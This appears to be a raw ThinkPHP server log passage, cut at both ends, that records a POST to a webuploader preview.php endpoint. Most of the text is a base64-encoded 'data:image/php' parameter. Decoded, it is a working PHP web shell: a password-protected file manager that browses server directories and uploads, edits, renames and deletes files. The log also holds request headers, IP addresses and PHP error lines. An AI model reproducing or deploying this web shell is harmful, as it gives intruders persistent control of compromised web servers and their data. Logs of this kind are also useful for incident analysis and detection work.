YXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:29+08:00 ] 119.42.146.234 POST 59.110.137.245/include/webuploader/0.1.15/server/preview.php [运行时间:0.002624s] [吞吐率:381.09req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGV